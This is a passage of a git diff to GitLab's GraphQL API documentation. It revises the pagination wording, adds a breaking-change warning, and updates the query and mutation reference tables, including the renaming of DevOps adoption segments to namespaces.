+Some of the GitLab GraphQL endpoints allow you to specify how to sort a
+collection of objects. You can only sort by what the schema allows you to.
Example: Issues can be sorted by creation date:
@@ -310,17 +321,18 @@ query {
## Pagination
-Pagination is a way of only asking for a subset of the records (say, the first 10).
-If we want more of them, we can make another request for the next 10 from the server
-(in the form of something like "please give me the next 10 records").
+Pagination is a way of only asking for a subset of the records, such as the
+first ten. If we want more of them, we can make another request for the next
+ten from the server in the form of something like `please give me the next ten records`.
-By default, the GitLab GraphQL API returns 100 records per page.
-This can be changed by using `first` or `last` arguments. Both arguments take a value,
-so `first: 10` returns the first 10 records, and `last: 10` the last 10 records.
-There is a limit on how many records will be returned per page, which is generally `100`.
+By default, the GitLab GraphQL API returns 100 records per page. To change this
+behavior, use `first` or `last` arguments. Both arguments take a value, so
+`first: 10` returns the first ten records, and `last: 10` the last ten records.
+There is a limit on how many records are returned per page, which is generally
+`100`.
-Example: Retrieve only the first 2 issues (slicing). The `cursor` field gives us a position from which
-we can retrieve further records relative to that one.
+Example: Retrieve only the first two issues (slicing). The `cursor` field gives
+us a position from which we can retrieve further records relative to that one.
```graphql
query {
@@ -341,9 +353,10 @@ query {
}
```
-Example: Retrieve the next 3. (The cursor value
+Example: Retrieve the next three. (The cursor value
`eyJpZCI6IjI3MDM4OTMzIiwiY3JlYXRlZF9hdCI6IjIwMTktMTEtMTQgMDU6NTY6NDQgVVRDIn0`
-could be different, but it's the `cursor` value returned for the second issue returned above.)
+could be different, but it's the `cursor` value returned for the second issue
+returned above.)
```graphql
query {
@@ -365,5 +378,5 @@ query {
}
```
-More on pagination and cursors:
-[GraphQL docs](https://graphql.org/learn/pagination/)
+More about pagination and cursors:
+[GraphQL documentation](https://graphql.org/learn/pagination/)
diff --git a/doc/api/graphql/index.md b/doc/api/graphql/index.md
index 5864e5878b7..073f5faf57c 100644
--- a/doc/api/graphql/index.md
+++ b/doc/api/graphql/index.md
@@ -78,6 +78,11 @@ where the deprecated part of the schema is supported for a period of time before
Clients should familiarize themselves with the process to avoid breaking changes affecting their integrations.
+WARNING:
+While GitLab will make all attempts to follow the [deprecation and removal process](#deprecation-and-removal-process),
+GitLab may on very rare occasions need to make immediate breaking changes to the GraphQL API to patch critical security or performance
+concerns and where the deprecation process would be considered to pose significant risk.
+
NOTE:
Fields behind a feature flag and disabled by default are exempt from the deprecation process,
and can be removed at any time without notice.
@@ -129,7 +134,7 @@ New associations and root level objects are constantly being added.
See the [GraphQL API Reference](reference/index.md) for up-to-date information.
Root-level queries are defined in
-[`app/graphql/types/query_type.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/app/graphql/types/query_type.rb).
+[`app/graphql/types/query_type.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/graphql/types/query_type.rb).
### Multiplex queries
diff --git a/doc/api/graphql/reference/index.md b/doc/api/graphql/reference/index.md
index 7f496e1aded..0069d109e1e 100644
--- a/doc/api/graphql/reference/index.md
+++ b/doc/api/graphql/reference/index.md
@@ -83,11 +83,11 @@ Fields related to design management.
Returns [`DesignManagement!`](#designmanagement).
-### `Query.devopsAdoptionSegments`
+### `Query.devopsAdoptionEnabledNamespaces`
-Get configured DevOps adoption segments on the instance. **BETA** This endpoint is subject to change without notice.
+Get configured DevOps adoption namespaces. **BETA** This endpoint is subject to change without notice.
-Returns [`DevopsAdoptionSegmentConnection`](#devopsadoptionsegmentconnection).
+Returns [`DevopsAdoptionEnabledNamespaceConnection`](#devopsadoptionenablednamespaceconnection).
This field returns a [connection](#connections). It accepts the
four standard [pagination arguments](#connection-pagination-arguments):
@@ -97,8 +97,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="querydevopsadoptionsegmentsdirectdescendantsonly"></a>`directDescendantsOnly` | [`Boolean`](#boolean) | Limits segments to direct descendants of specified parent. |
-| <a id="querydevopsadoptionsegmentsparentnamespaceid"></a>`parentNamespaceId` | [`NamespaceID`](#namespaceid) | Filter by ancestor namespace. |
+| <a id="querydevopsadoptionenablednamespacesdisplaynamespaceid"></a>`displayNamespaceId` | [`NamespaceID`](#namespaceid) | Filter by display namespace. |
### `Query.echo`
@@ -284,6 +283,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="queryprojectssearch"></a>`search` | [`String`](#string) | Search query for project name, path, or description. |
| <a id="queryprojectssearchnamespaces"></a>`searchNamespaces` | [`Boolean`](#boolean) | Include namespace in project search. |
| <a id="queryprojectssort"></a>`sort` | [`String`](#string) | Sort order of results. |
+| <a id="queryprojectstopics"></a>`topics` | [`[String!]`](#string) | Filters projects by topics. |
### `Query.runner`
@@ -336,6 +336,7 @@ four standard [pagination arguments](#connection-pagination-arguments):
| Name | Type | Description |
| ---- | ---- | ----------- |
+| <a id="queryrunnerssearch"></a>`search` | [`String`](#string) | Filter by full token or partial text in description field. |
| <a id="queryrunnerssort"></a>`sort` | [`CiRunnerSort`](#cirunnersort) | Sort order of results. |
| <a id="queryrunnersstatus"></a>`status` | [`CiRunnerStatus`](#cirunnerstatus) | Filter runners by status. |
| <a id="queryrunnerstaglist"></a>`tagList` | [`[String!]`](#string) | Filter by tags associated with the runner (comma-separated or array). |
@@ -454,30 +455,6 @@ four standard [pagination arguments](#connection-pagination-arguments):
| <a id="queryvulnerabilitiescountbydayenddate"></a>`endDate` | [`ISO8601Date!`](#iso8601date) | Last day for which to fetch vulnerability history. |
| <a id="queryvulnerabilitiescountbydaystartdate"></a>`startDate` | [`ISO8601Date!`](#iso8601date) | First day for which to fetch vulnerability history. |
-### `Query.vulnerabilitiesCountByDayAndSeverity`
-
-Number of vulnerabilities per severity level, per day, for the projects on the
-current user's instance security dashboard.
-.
-
-WARNING:
-**Deprecated** in 13.3.
-Use of this is not recommended.
-Use: [`Query.vulnerabilitiesCountByDay`](#queryvulnerabilitiescountbyday).
-
-Returns [`VulnerabilitiesCountByDayAndSeverityConnection`](#vulnerabilitiescountbydayandseverityconnection).
-
-This field returns a [connection](#connections). It accepts the
-four standard [pagination arguments](#connection-pagination-arguments):
-`before: String`, `after: String`, `first: Int`, `last: Int`.
-
-#### Arguments
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="queryvulnerabilitiescountbydayandseverityenddate"></a>`endDate` | [`ISO8601Date!`](#iso8601date) | Last day for which to fetch vulnerability history. |
-| <a id="queryvulnerabilitiescountbydayandseveritystartdate"></a>`startDate` | [`ISO8601Date!`](#iso8601date) | First day for which to fetch vulnerability history. |
-
### `Query.vulnerability`
Find a vulnerability.
@@ -509,30 +486,6 @@ mutation($id: NoteableID!, $body: String!) {
}
```
-### `Mutation.addAwardEmoji`
-
-WARNING:
-**Deprecated** in 13.2.
-Use awardEmojiAdd.
-
-Input type: `AddAwardEmojiInput`
-
-#### Arguments
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationaddawardemojiawardableid"></a>`awardableId` | [`AwardableID!`](#awardableid) | The global ID of the awardable resource. |
-| <a id="mutationaddawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationaddawardemojiname"></a>`name` | [`String!`](#string) | The emoji name. |
-
-#### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationaddawardemojiawardemoji"></a>`awardEmoji` | [`AwardEmoji`](#awardemoji) | The award emoji after mutation. |
-| <a id="mutationaddawardemojiclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationaddawardemojierrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-
### `Mutation.addProjectToSecurityDashboard`
Input type: `AddProjectToSecurityDashboardInput`
@@ -713,6 +666,28 @@ Input type: `AwardEmojiToggleInput`
| <a id="mutationawardemojitoggleerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationawardemojitoggletoggledon"></a>`toggledOn` | [`Boolean!`](#boolean) | Indicates the status of the emoji. True if the toggle awarded the emoji, and false if the toggle removed the emoji. |
+### `Mutation.boardEpicCreate`
+
+Input type: `BoardEpicCreateInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationboardepiccreateboardid"></a>`boardId` | [`BoardsEpicBoardID!`](#boardsepicboardid) | Global ID of the board that the epic is in. |
+| <a id="mutationboardepiccreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationboardepiccreategrouppath"></a>`groupPath` | [`ID!`](#id) | Group the epic to create is in. |
+| <a id="mutationboardepiccreatelistid"></a>`listId` | [`BoardsEpicListID!`](#boardsepiclistid) | Global ID of the epic board list in which epic will be created. |
+| <a id="mutationboardepiccreatetitle"></a>`title` | [`String!`](#string) | Title of the epic. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationboardepiccreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationboardepiccreateepic"></a>`epic` | [`Epic`](#epic) | Epic after creation. |
+| <a id="mutationboardepiccreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
### `Mutation.boardListCreate`
Input type: `BoardListCreateInput`
@@ -759,26 +734,27 @@ Input type: `BoardListUpdateLimitMetricsInput`
| <a id="mutationboardlistupdatelimitmetricserrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationboardlistupdatelimitmetricslist"></a>`list` | [`BoardList`](#boardlist) | The updated list. |
-### `Mutation.bulkFindOrCreateDevopsAdoptionSegments`
+### `Mutation.bulkEnableDevopsAdoptionNamespaces`
**BETA** This endpoint is subject to change without notice.
-Input type: `BulkFindOrCreateDevopsAdoptionSegmentsInput`
+Input type: `BulkEnableDevopsAdoptionNamespacesInput`
#### Arguments
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationbulkfindorcreatedevopsadoptionsegmentsclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationbulkfindorcreatedevopsadoptionsegmentsnamespaceids"></a>`namespaceIds` | [`[NamespaceID!]!`](#namespaceid) | List of Namespace IDs for the segments. |
+| <a id="mutationbulkenabledevopsadoptionnamespacesclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationbulkenabledevopsadoptionnamespacesdisplaynamespaceid"></a>`displayNamespaceId` | [`NamespaceID`](#namespaceid) | Display namespace ID. |
+| <a id="mutationbulkenabledevopsadoptionnamespacesnamespaceids"></a>`namespaceIds` | [`[NamespaceID!]!`](#namespaceid) | List of Namespace IDs. |
#### Fields
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationbulkfindorcreatedevopsadoptionsegmentsclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationbulkfindorcreatedevopsadoptionsegmentserrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="mutationbulkfindorcreatedevopsadoptionsegmentssegments"></a>`segments` | [`[DevopsAdoptionSegment!]`](#devopsadoptionsegment) | Created segments after mutation. |
+| <a id="mutationbulkenabledevopsadoptionnamespacesclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationbulkenabledevopsadoptionnamespacesenablednamespaces"></a>`enabledNamespaces` | [`[DevopsAdoptionEnabledNamespace!]`](#devopsadoptionenablednamespace) | Enabled namespaces after mutation. |
+| <a id="mutationbulkenabledevopsadoptionnamespaceserrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
### `Mutation.ciCdSettingsUpdate`
@@ -790,6 +766,7 @@ Input type: `CiCdSettingsUpdateInput`
| ---- | ---- | ----------- |
| <a id="mutationcicdsettingsupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationcicdsettingsupdatefullpath"></a>`fullPath` | [`ID!`](#id) | Full Path of the project the settings belong to. |
+| <a id="mutationcicdsettingsupdatejobtokenscopeenabled"></a>`jobTokenScopeEnabled` | [`Boolean`](#boolean) | Indicates CI job tokens generated in this project have restricted access to resources. |
| <a id="mutationcicdsettingsupdatekeeplatestartifact"></a>`keepLatestArtifact` | [`Boolean`](#boolean) | Indicates if the latest artifact should be kept for this project. |
| <a id="mutationcicdsettingsupdatemergepipelinesenabled"></a>`mergePipelinesEnabled` | [`Boolean`](#boolean) | Indicates if merge pipelines are enabled for the project. |
| <a id="mutationcicdsettingsupdatemergetrainsenabled"></a>`mergeTrainsEnabled` | [`Boolean`](#boolean) | Indicates if merge trains are enabled for the project. |
@@ -882,6 +859,7 @@ Input type: `CommitCreateInput`
| <a id="mutationcommitcreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationcommitcreatecommit"></a>`commit` | [`Commit`](#commit) | The commit after mutation. |
| <a id="mutationcommitcreatecommitpipelinepath"></a>`commitPipelinePath` | [`String`](#string) | ETag path for the commit's pipeline. |
+| <a id="mutationcommitcreatecontent"></a>`content` | [`[String!]`](#string) | Contents of the commit. |
| <a id="mutationcommitcreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
### `Mutation.configureSast`
@@ -1093,27 +1071,6 @@ Input type: `CreateCustomEmojiInput`
| <a id="mutationcreatecustomemojicustomemoji"></a>`customEmoji` | [`CustomEmoji`](#customemoji) | The new custom emoji. |
| <a id="mutationcreatecustomemojierrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-### `Mutation.createDevopsAdoptionSegment`
-
-**BETA** This endpoint is subject to change without notice.
-
-Input type: `CreateDevopsAdoptionSegmentInput`
-
-#### Arguments
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationcreatedevopsadoptionsegmentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationcreatedevopsadoptionsegmentnamespaceid"></a>`namespaceId` | [`NamespaceID!`](#namespaceid) | Namespace ID to set for the segment. |
-
-#### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationcreatedevopsadoptionsegmentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationcreatedevopsadoptionsegmenterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="mutationcreatedevopsadoptionsegmentsegment"></a>`segment` | [`DevopsAdoptionSegment`](#devopsadoptionsegment) | The segment after mutation. |
-
### `Mutation.createDiffNote`
Input type: `CreateDiffNoteInput`
@@ -1224,6 +1181,10 @@ Input type: `CreateIssueInput`
### `Mutation.createIteration`
+WARNING:
+**Deprecated** in 14.0.
+Use iterationCreate.
+
Input type: `CreateIterationInput`
#### Arguments
@@ -1234,6 +1195,7 @@ Input type: `CreateIterationInput`
| <a id="mutationcreateiterationdescription"></a>`description` | [`String`](#string) | The description of the iteration. |
| <a id="mutationcreateiterationduedate"></a>`dueDate` | [`String`](#string) | The end date of the iteration. |
| <a id="mutationcreateiterationgrouppath"></a>`groupPath` | [`ID`](#id) | Full path of the group with which the resource is associated. |
+| <a id="mutationcreateiterationiterationscadenceid"></a>`iterationsCadenceId` | [`IterationsCadenceID`](#iterationscadenceid) | Global ID of the iterations cadence to be assigned to newly created iteration. |
| <a id="mutationcreateiterationprojectpath"></a>`projectPath` | [`ID`](#id) | Full path of the project with which the resource is associated. |
| <a id="mutationcreateiterationstartdate"></a>`startDate` | [`String`](#string) | The start date of the iteration. |
| <a id="mutationcreateiterationtitle"></a>`title` | [`String`](#string) | The title of the iteration. |
@@ -1476,7 +1438,6 @@ Input type: `DastScannerProfileCreateInput`
| ---- | ---- | ----------- |
| <a id="mutationdastscannerprofilecreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationdastscannerprofilecreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="mutationdastscannerprofilecreateglobalid"></a>`globalId` **{warning-solid}** | [`DastScannerProfileID`](#dastscannerprofileid) | **Deprecated:** Use `id`. Deprecated in 13.6. |
| <a id="mutationdastscannerprofilecreateid"></a>`id` | [`DastScannerProfileID`](#dastscannerprofileid) | ID of the scanner profile. |
### `Mutation.dastScannerProfileDelete`
@@ -1532,13 +1493,13 @@ Input type: `DastSiteProfileCreateInput`
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationdastsiteprofilecreateauth"></a>`auth` | [`DastSiteProfileAuthInput`](#dastsiteprofileauthinput) | Parameters for authentication. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
+| <a id="mutationdastsiteprofilecreateauth"></a>`auth` | [`DastSiteProfileAuthInput`](#dastsiteprofileauthinput) | Parameters for authentication. |
| <a id="mutationdastsiteprofilecreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationdastsiteprofilecreateexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Defaults to `[]`. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
+| <a id="mutationdastsiteprofilecreateexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Defaults to `[]`. |
| <a id="mutationdastsiteprofilecreatefullpath"></a>`fullPath` | [`ID!`](#id) | The project the site profile belongs to. |
| <a id="mutationdastsiteprofilecreateprofilename"></a>`profileName` | [`String!`](#string) | The name of the site profile. |
-| <a id="mutationdastsiteprofilecreaterequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
-| <a id="mutationdastsiteprofilecreatetargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. Will be ignored if `security_dast_site_profiles_api_option` feature flag is disabled. |
+| <a id="mutationdastsiteprofilecreaterequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. |
+| <a id="mutationdastsiteprofilecreatetargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. |
| <a id="mutationdastsiteprofilecreatetargeturl"></a>`targetUrl` | [`String`](#string) | The URL of the target to be scanned. |
#### Fields
@@ -1576,14 +1537,14 @@ Input type: `DastSiteProfileUpdateInput`
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationdastsiteprofileupdateauth"></a>`auth` | [`DastSiteProfileAuthInput`](#dastsiteprofileauthinput) | Parameters for authentication. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
+| <a id="mutationdastsiteprofileupdateauth"></a>`auth` | [`DastSiteProfileAuthInput`](#dastsiteprofileauthinput) | Parameters for authentication. |
| <a id="mutationdastsiteprofileupdateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationdastsiteprofileupdateexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
+| <a id="mutationdastsiteprofileupdateexcludedurls"></a>`excludedUrls` | [`[String!]`](#string) | The URLs to skip during an authenticated scan. |
| <a id="mutationdastsiteprofileupdatefullpath"></a>`fullPath` | [`ID!`](#id) | The project the site profile belongs to. |
| <a id="mutationdastsiteprofileupdateid"></a>`id` | [`DastSiteProfileID!`](#dastsiteprofileid) | ID of the site profile to be updated. |
| <a id="mutationdastsiteprofileupdateprofilename"></a>`profileName` | [`String!`](#string) | The name of the site profile. |
-| <a id="mutationdastsiteprofileupdaterequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. Will be ignored if `security_dast_site_profiles_additional_fields` feature flag is disabled. |
-| <a id="mutationdastsiteprofileupdatetargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. Will be ignored if `security_dast_site_profiles_api_option` feature flag is disabled. |
+| <a id="mutationdastsiteprofileupdaterequestheaders"></a>`requestHeaders` | [`String`](#string) | Comma-separated list of request header names and values to be added to every request made by DAST. |
+| <a id="mutationdastsiteprofileupdatetargettype"></a>`targetType` | [`DastTargetTypeEnum`](#dasttargettypeenum) | The type of target to be scanned. |
| <a id="mutationdastsiteprofileupdatetargeturl"></a>`targetUrl` | [`String`](#string) | The URL of the target to be scanned. |
#### Fields
@@ -1676,26 +1637,6 @@ Input type: `DeleteAnnotationInput`
| <a id="mutationdeleteannotationclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationdeleteannotationerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-### `Mutation.deleteDevopsAdoptionSegment`
-
-**BETA** This endpoint is subject to change without notice.
-
-Input type: `DeleteDevopsAdoptionSegmentInput`
-
-#### Arguments
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationdeletedevopsadoptionsegmentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationdeletedevopsadoptionsegmentid"></a>`id` | [`[AnalyticsDevopsAdoptionSegmentID!]!`](#analyticsdevopsadoptionsegmentid) | One or many IDs of the segments to delete. |
-
-#### Fields
-
-| Name | Type | Description |
-| ---- | ---- | ----------- |
-| <a id="mutationdeletedevopsadoptionsegmentclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationdeletedevopsadoptionsegmenterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-
### `Mutation.designManagementDelete`
Input type: `DesignManagementDeleteInput`
@@ -1912,6 +1853,26 @@ Input type: `DestroySnippetInput`
| <a id="mutationdestroysnippeterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
| <a id="mutationdestroysnippetsnippet"></a>`snippet` | [`Snippet`](#snippet) | The snippet after mutation. |
+### `Mutation.disableDevopsAdoptionNamespace`
+
+**BETA** This endpoint is subject to change without notice.
+
+Input type: `DisableDevopsAdoptionNamespaceInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationdisabledevopsadoptionnamespaceclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationdisabledevopsadoptionnamespaceid"></a>`id` | [`[AnalyticsDevopsAdoptionEnabledNamespaceID!]!`](#analyticsdevopsadoptionenablednamespaceid) | One or many IDs of the enabled namespaces to disable. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationdisabledevopsadoptionnamespaceclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationdisabledevopsadoptionnamespaceerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+
### `Mutation.discussionToggleResolve`
Toggles the resolved state of a discussion.
@@ -1934,30 +1895,27 @@ Input type: `DiscussionToggleResolveInput`
| <a id="mutationdiscussiontoggleresolvediscussion"></a>`discussion` | [`Discussion`](#discussion) | The discussion after mutation. |
| <a id="mutationdiscussiontoggleresolveerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-### `Mutation.dismissVulnerability`
+### `Mutation.enableDevopsAdoptionNamespace`
-WARNING:
-**Deprecated** in 13.5.
-Use vulnerabilityDismiss.
+**BETA** This endpoint is subject to change without notice.
-Input type: `DismissVulnerabilityInput`
+Input type: `EnableDevopsAdoptionNamespaceInput`
#### Arguments
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationdismissvulnerabilityclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationdismissvulnerabilitycomment"></a>`comment` | [`String`](#string) | Comment why vulnerability should be dismissed. |
-| <a id="mutationdismissvulnerabilitydismissalreason"></a>`dismissalReason` | [`VulnerabilityDismissalReason`](#vulnerabilitydismissalreason) | Reason why vulnerability should be dismissed. |
-| <a id="mutationdismissvulnerabilityid"></a>`id` | [`VulnerabilityID!`](#vulnerabilityid) | ID of the vulnerability to be dismissed. |
+| <a id="mutationenabledevopsadoptionnamespaceclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationenabledevopsadoptionnamespacedisplaynamespaceid"></a>`displayNamespaceId` | [`NamespaceID`](#namespaceid) | Display namespace ID. |
+| <a id="mutationenabledevopsadoptionnamespacenamespaceid"></a>`namespaceId` | [`NamespaceID!`](#namespaceid) | Namespace ID. |
#### Fields
| Name | Type | Description |
| ---- | ---- | ----------- |
-| <a id="mutationdismissvulnerabilityclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
-| <a id="mutationdismissvulnerabilityerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
-| <a id="mutationdismissvulnerabilityvulnerability"></a>`vulnerability` | [`Vulnerability`](#vulnerability) | The vulnerability after dismissal. |
+| <a id="mutationenabledevopsadoptionnamespaceclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationenabledevopsadoptionnamespaceenablednamespace"></a>`enabledNamespace` | [`DevopsAdoptionEnabledNamespace`](#devopsadoptionenablednamespace) | Enabled namespace after mutation. |
+| <a id="mutationenabledevopsadoptionnamespaceerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
### `Mutation.environmentsCanaryIngressUpdate`
@@ -2102,14 +2060,17 @@ Input type: `EpicMoveListInput`
| <a id="mutationepicmovelistboardid"></a>`boardId` | [`BoardsEpicBoardID!`](#boardsepicboardid) | Global ID of the board that the epic is in. |
| <a id="mutationepicmovelistclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationepicmovelistepicid"></a>`epicId` | [`EpicID!`](#epicid) | ID of the epic to mutate. |
-| <a id="mutationepicmovelistfromlistid"></a>`fromListId` | [`BoardsEpicListID!`](#boardsepiclistid) | ID of the board list that the epic will be moved from. |
-| <a id="mutationepicmovelisttolistid"></a>`toListId` | [`BoardsEpicListID!`](#boardsepiclistid) | ID of the board list that the epic will be moved to. |
+| <a id="mutationepicmovelistfromlistid"></a>`fromListId` | [`BoardsEpicListID`](#boardsepiclistid) | ID of the board list that the epic will be moved from. Required if moving between lists. |
+| <a id="mutationepicmovelistmoveafterid"></a>`moveAfterId` | [`EpicID`](#epicid) | ID of epic that should be placed after the current epic. |
+| <a id="mutationepicmovelistmovebeforeid"></a>`moveBeforeId` | [`EpicID`](#epicid) | ID of epic that should be placed before the current epic. |
+| <a id="mutationepicmovelisttolistid"></a>`toListId` | [`BoardsEpicListID!`](#boardsepiclistid) | ID of the list the epic will be in after mutation. |
#### Fields
| Name | Type | Description |
| ---- | ---- | ----------- |
| <a id="mutationepicmovelistclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationepicmovelistepic"></a>`epic` | [`Epic`](#epic) | The epic after mutation. |
| <a id="mutationepicmovelisterrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
### `Mutation.epicSetSubscription`
@@ -2152,6 +2113,69 @@ Input type: `EpicTreeReorderInput`
| <a id="mutationepictreereorderclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
| <a id="mutationepictreereordererrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+### `Mutation.escalationPolicyCreate`
+
+Input type: `EscalationPolicyCreateInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationescalationpolicycreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationescalationpolicycreatedescription"></a>`description` | [`String`](#string) | The description of the escalation policy. |
+| <a id="mutationescalationpolicycreatename"></a>`name` | [`String!`](#string) | The name of the escalation policy. |
+| <a id="mutationescalationpolicycreateprojectpath"></a>`projectPath` | [`ID!`](#id) | The project to create the escalation policy for. |
+| <a id="mutationescalationpolicycreaterules"></a>`rules` | [`[EscalationRuleInput!]!`](#escalationruleinput) | The steps of the escalation policy. |
+
+#### Fields
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationescalationpolicycreateclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+| <a id="mutationescalationpolicycreateerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+| <a id="mutationescalationpolicycreateescalationpolicy"></a>`escalationPolicy` | [`EscalationPolicyType`](#escalationpolicytype) | The escalation policy. |
+
+### `Mutation.escalationPolicyDestroy`
+
+Input type: `EscalationPolicyDestroyInput`
+
+#### Arguments
+
+| Name | Type | Description |
+| ---- | ---- | ----------- |
+| <a id="mutationescalationpolicydestroyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
